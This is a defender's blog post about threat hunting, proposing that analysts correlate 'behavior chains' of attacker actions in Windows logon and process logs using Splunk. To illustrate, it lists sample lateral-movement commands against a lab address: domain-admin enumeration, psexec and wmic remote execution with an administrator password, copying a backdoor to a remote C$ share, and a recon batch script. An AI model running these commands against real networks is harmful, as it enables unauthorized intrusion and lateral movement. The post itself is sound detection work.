Attackers will continue to operate in our environments and the amount of data the we collect will continue to grow.  Being able to come up with creative ways to utilize this data and still find evil is essential.  I would love to know your thoughts on this or if you have other ways of dealing with billions and billions of logs.  Feel free to reach out in the comment section or on twitter @jackcr.


I would also like to thank everyone who has reached out to me over the past weeks.  You are all awesome and have helped and inspired me more than you will ever know.  I can’t thank you all enough.  I would also like to thank SANS and x33fcon for giving me the opportunity to speak and for being amazing when I had to cancel! 

Thursday, February 23, 2017

Hunting for Chains

In my last blog post I touched on something that I want to talk more about.  I think far too often, when hunting, we can focus on single indications for signs of something being bad.  Intrusions are far more than a single event though, so why spend all of your time hunting that way?  Often the actions that an attacker will take will be in short time bursts.  These bursts may only last for a few seconds to a few minutes.  Looking for multiple events within these windows of time, I feel, can be a very effective way to spend your time.

One of the things I try and do with my blog is to share how I think about the work that I do.  I have gained so much knowledge from others over the years and feel strongly about giving back.  Lately I have been thinking a lot about , what I like to call, behavior chains.  Basically these are the actions that an attacker would likely take to accomplish their goal.  Each action is a link and the sum of actions make up the chain.  A link can be something as simple as a process name like net.exe or cmd.exe (these are probably 2 of the most commonly spawned processes and attackers definitely take advantage of these).  A link can also be something as complex as a correlation search that surfaces a specific behavior (see my last blog post for some of these correlations).  So why do I care about looking at hunting this way? There are multiple reasons, but a few of them are to model how attackers may operate, data reduction and higher fidelity output.

Lets say that we want to look for odd network logon behavior because we know that when an attacker is active in our environment they will generate anomalous 4624 type 3 events.  The problem with this is that there is likely thousands upon thousands, if not millions, of these events per day.  We could try and reduce this data by looking for rare occurrences of source machine, dest machine, user or a combination of the three. This will likely produce anomalies, but will also take time to investigate each one.  Now take that time and multiply it by the number of days in a week.  How much time are you spending looking at these events and are the results beneficial?

I think the question to ask is what are the things an attacker would do that would generate these logon events.  We know that just by the meaning of the event that it was the result of an action taken by a remote machine and we probably care more about the action than the logon itself.  We can also assume that we would be trying to identify KC7 type of activity so lets break that down into different categories that may likely generate these types of events.  I’ll also include a couple of sample commands for each one.
  1. Recon / Enumeration
    1. net group “domain admins” /domain
    2. net view /domain
  2. Command Execution
    1. psexec -accepteula \\192.168.56.10 ipconfig
    2. wmic /node:192.168.56.10 /user:administrator /password:supersecret process call create "cmd.exe /c ipconfig" 
  3. Data Movement
    1. copy backdoor.exe \\192.168.56.10\c$\windows\temp\backdoor.exe
    2. net use x: \\192.168.56.10\c$ /user:administrator “superscecret”

Seeing the above commands should obviously raise some alarms, but often it can be difficult to distinguish bad from legitimate activity.  I’ve personally chased many admins over the years.  The difficulty can be raised by how you craft your queries, the amount of data that’s returned and your ability to identify anomalies.  I think we can also limit ourselves based on truly understanding what we are looking for, the log sources we have available and what we perceive as our limitations to meld the two together.  I should say that I don’t have command line process audit logging enabled, but am still able to accurately identify the actions of the above commands based on the logs generated on the destination machine or the domain controller.

When I began looking into the best way to identify these chains I knew that there would be numerous actions that I would want to be bale to identify and that I would want to have some freedom in how I was able to search the data.  Being able to correlate based on source user, dest user, source machine, dest machine, process or any other pivot point that the data provided was very important.  I also wanted to be able to look across different windows of time and to easily incorporate multiple data sources.

I’ll explain what was accomplished using Splunk.  If you want to explore this and you are not a Splunk user, my hope is that you will be able to use the thought behind the technology and incorporate it into a solution that you have available.  

  1. Scheduled queries for specific behaviors are sent to a summary index to house only interesting data.
  2. Custom event types are created for broader queries (logon types, process names…).
  3. Normalized field names for pivoting through data.  This can be important when searching or displaying fields from multiple log sources.

The screen shots below show 2 different dates.  The first clusters of events on 2/21 are the results of running the following commands on my domain controller (95N).
    net view \\192.168.56.10
    net group “domain admins” /domain
    net use x: \\192.168.56.10\c$ /user:administrator “password”

The second cluster of events on 2/23 are the results of copying a batch script to a member server and executing it.  The contents of the batch script were:
    net group “domain admins” /domain >> data.txt
    netstat -an >> data.out
    ipconfig >> data.out

By ComputerName

By Source IP


I know that this may be an overly simplistic view, but I believe that it shows the value of trying to create chains of events.  If someone was looking at each action individually they may be easily glossed over, but when combining them you may begin to see clusters of anomalous behavior.  The more of these individual actions you can include in your data collection the greater chance you have of surfacing these anomalies.

The power of this is not the technology, but the effort you put into your methods and analysis.  Also, I’m not at all saying that you should stop looking for single events that point to malicious activity, but think of this as simply another arrow you can put in your quiver.

As always, I would love to hear your thoughts.  Feel free to use the comment section below or reach out to me on twitter @jackcr.